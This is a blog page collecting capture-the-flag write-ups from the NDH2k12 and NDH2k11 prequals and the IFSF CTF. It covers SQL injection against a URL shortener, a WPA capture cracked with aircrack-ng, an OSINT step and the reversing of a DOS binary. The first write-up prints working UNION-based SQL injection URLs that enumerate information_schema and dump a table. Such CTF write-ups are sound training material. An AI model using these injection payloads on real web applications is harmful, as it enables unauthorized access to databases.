Newemailfromourcontact.png

According to the description http://sci.nuitduhack.com was a url shortening service.

After searching about how these services work i found two “common” practises.

The first was inserting urls in the database and then transforming the ID of that record to Base36 (letters a-z digits 0-9) or some other custom encryption and using it as an alias. But since the alias in the link given had both uppercase, lowercase characters and digits the transformation must be Base62 or it was using some other way to map aliases to urls. Base62 didn’t give us any results so we moved towards the second way of mapping.

That was entering the alias and url in separate fields in the database. So the alias was taking part in an sql query that could be prone to SQL Injection and thus our way in.

Testing this idea with

http://sci.nuitduhack.com/’ UNION SELECT @@version-- a%%%

gave us the first result. The version of the database was returned in the url so alias was passed unfiltered.

Now we just had to find the table and column names.

Some queries to information_schema did the trick:

http://sci.nuitduhack.com/' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 0,1-- a

returns shortner id

http://sci.nuitduhack.com/' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1,1-- a

returns shortner alias

http://sci.nuitduhack.com/' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 2,1-- a

returns shortner url

Next was to find out how many ids are in the table.
Asking the polite database

http://sci.nuitduhack.com/' UNION SELECT CONCAT(min(id),' ',max(id),' ',count(*)) from shortner-- a

answered with 33 43 11 so there are 11 records in the database starting with id 33 up to 43.
So no need for a bruteforcer to get all records.

The precious flag was in id 40

http://sci.nuitduhack.com/' UNION SELECT CONCAT(url,' ',alias) FROM shortner WHERE id=40-- a


http://sci.nuitduhack.com/mMVzJ8Qj/flag.txt 5867hjgjhgffdedeseddf7967

b92b5e7094c7ffb35a526c9eaa6fab0a



Bonus url :

http://sci.nuitduhack.com/f69148e2 Google

http://sci.nuitduhack.com/7e3aacb2 http://www.hackerzvoice.com

http://sci.nuitduhack.com/1596a271 http://www.bonjourmadame.fr

http://sci.nuitduhack.com/9d0e9373 http://www.bonjourvoisine.fr

http://sci.nuitduhack.com/83df9275 http://www.lkcd.net :?

http://sci.nuitduhack.com/732c1d61 https://www.google.fr/search?q=the+answer+to+life+the+universe+and+everything

http://sci.nuitduhack.com/342d1fff CTF Ranking

http://sci.nuitduhack.com/zomgwtf Rickrolling ;-)

http://sci.nuitduhack.com/trololololololololololololo http://trololololololololololo.com/

http://sci.nuitduhack.com/admin-backend-full WTF !?

NDH2k12 Prequals - What is it about this file ? - Mole Information

MoleInformation.png

In the sp113.pdf found in the bitmap “Wallpaper image”, we can see “author: SciteekSmith”.

Google is our friend : http://lmgtfy.com/?q=SciteekSmith

There is 1 result : http://www.facebook.com/SciteekSmith

facebook.png

NDH2k12 Prequals - Time is running out - captured file

mail_captured_file.png

There is one file : sciteekadm.cap
It’s a 802.11 capture.

Let’s crack it with aircrack-ng and a wordlist.

aircrack.png

Then we decrypted the capture with Cain.

cain.png

We opened the decrypted capture with Wireshark.

wireshark.png

We can see a png file.

We extracted it and we got the flag.

flag_captured_file.png

Monday, February 13 2012 22:59

IFSF CTF - Write-up challenge 10

A l'occasion du IFSF CTF j'ai participé aux qualifs avec la team de Zenk-Security, qui a fini 10ème. http://ctf.forbiddenbits.net/?scoreboard.

Je n'ai pas eu trop le temps de participer mais le peu que j'ai fait a été fun (je n'ai pas eu affaire à du guess).
Je présente donc ci-dessous ma solution pour le challenge 10, un binaire DOS, 16 bits. Le binaire: 10.exe

Il s'exécute sans souci sur un Windows XP 32 bits.

Pour le désassembler, IDA bug, et les autres habituels tels que Olly ne prennent pas le 16-bit.
On utilise « Turbo Debugger for DOS », que l'on retrouve ici:

http://www.woodmann.com/collaborative/tools/images/Bin_Turbo_Debugger_2009-6-17_13.16_tdbg55.zip

Le binaire n'a aucun symboles, pas d'appels vers des libs Win etc, juste des interruptions.
On va donc chercher à quel moment il lit les données, pour commencer.
On lit http://en.wikipedia.org/wiki/BIOS_interrupt_call, on se rend compte qu'il nous faut une interruption 16h, qui est celle communiquant avec le clavier. On s'attend à avoir AH set à 0 avant l'interruption.

On trouve alors ce que l'on cherche, en 0x025D:

xor ax, ax
int 16
ret

On va donc break sur le ret, en 0x0261, pour revenir dans la fonction qui a demandé à lire le char, pour étudier celle-ci.
Après un run, avoir entré un char (on n'entre que des 'a'), et step, on retombe juste en dessous, en 0x026F:

0x026F:   
       mov si, [0114]
       mov bl, 09
 +> call [0104]                 ; call 0x25D / read char
 |     test al, al
 |     je 028B    ----+
 |     cmp al, 0D     |
 |     je 028B     ---+
 |     rol al, 03        |
 |     xor al, 19       |
 |     mov [si], al    |
 |     inc si              |
 |     ...                   |
 |     test bl, bl       |
 |     je 028B   ----+
 +-   jmp 026B      |
       ret         <---+

Cette fonction lit 9 char, sauf si elle reçoit un 0x0 ou 0xD ( '\r' ).
Cela nous donne une fonction similaire à la suivante en C:

void get_input(void)
{
    char s[10] = 0; // &s = 0x138 ( si )
    char c;
    int bl = 9;
    int i = 0;
 
    while (1)
    {
         c = getchar(); // al = c
 
         if (c == 0x00 || c == '\r')
             return s;
 
         if (bl-- == 0)
             return s;
 
          asm volatile("rol $0x03, %%al\r\n
                               xor $0x19, %%al\r\n"
                               : "=a"(c)
                               : "a"(c)
                               : "ax"); // Probablement n'importe quoi niveau input / output / clobber :D
 
          s[i++] = c; // mov [si], al ; inc si
    }
}

On retient surtout que notre chaîne est stockée « cryptée » en mémoire, avec un rol / xor appliqué sur le char reçu.
Entrer 'a' écrit 0x12 en mémoire.

On break sur le ret, en 0x28b, puis on step pour arriver sur:

call [010A] ; Affiche "Authorization code :"
call [0106] ; Lit le code
call [010E] ; ? Check code ?
ret

On suit donc l'exécution, on tombe sur:

mov bx, [0x114]
mov si, [0x116]
mov cx, 0x9
xor dx, dx
xor ax, ax
mov al, [bx]
xor al, [si]
test al, al
jz 0x145

Cette partie compare 2 chaînes, et on retrouve notre chaîne « cryptée » 0x12 * 9.


debug_dos

Elle est comparée à celle pointée par si (0148): 0xA0 0x8B 0x98 0x7B 0x63 0x90 0x98 0x90 0x63

On sort python pour inverser le xor / rol et:

>>> def ror(byte, count):
...     while count > 0:
...         byte = (byte >> 1 | byte << 7) & 0xFF
...         count -= 1
...     return byte
... 
>>> l = [0xA0, 0x8B, 0x98, 0x7B, 0x63, 0x90, 0x98, 0x90, 0x63]
>>> ''.join(chr(ror(0x19 ^ i, 3)) for i in l)
'7R0LO101O'

On a notre flag: 7R0LO101O.

Wednesday, April 6 2011 01:17

NDH2k11 Prequals - Compte Rendu !

Le week end dernier, se sont déroulées pendant 48h, les préqualifications du CTF de la Nuit Du Hack 2011 !

ndh.png

Les consignes étaient claires :

 * Les 10 premières équipes seront qualifiées d'office pour le CTF, et gagneront leurs entrées gratuites
 * Elles seront ensuite complétées par 5 équipes (choisies par hzv ? ou sur liste d'attente surement)
 * Il y aura 12 challenges répartis dans les catégories Web, Crypto, Forensics et Reverse
 * Les prequals seront ouvertes du samedi 02 00:00 au dimanche 03 23:59

Nous avons donc participé, sous le nom de team "404NameNotF0und", composée pour l'occasion de : awe, Ufox, mirmo, BAAL, ymvunjq, MaZ, ThunderLord, et NiklosKoda ! C'était le premier CTF de ce type pour beaucoup d'entre nous, et on peut dire que cela a été très enrichissant pour tous !

Nous avons publiés les writes-up des épreuves dans les billets suivants :

Un très bon bilan donc, puisque nous avons validé toutes les épreuves, et que celles ci étaient toutes assez intéressantes et fun, et même bien corsées pour certaines :p. Au final, nous terminons 7ème au classement (les teams devant nous ayant eu plus de bonus de points pour avoir validé des épreuves en premier, même si quelques unes d'entre elles ont terminé l'ensemble des épreuves après nous).

ndh_ranking.png

Un grand merci à HZV, et au 18 juin donc, pour le CTF ;)

UPDATE 1 : un compte rendu officiel, sur le site de HZV.

UPDATE 2 : Nous venons de recevoir un mail de HZV :

As a result of your participation to NDH2k11 CTF prequals that took place last weekend,
we are proud to announce that your team ended up in position #7.
Please find your 5 free entrances to Nuit Du Hack that will take place on June 18th 2011

\o/

page 2 of 2 -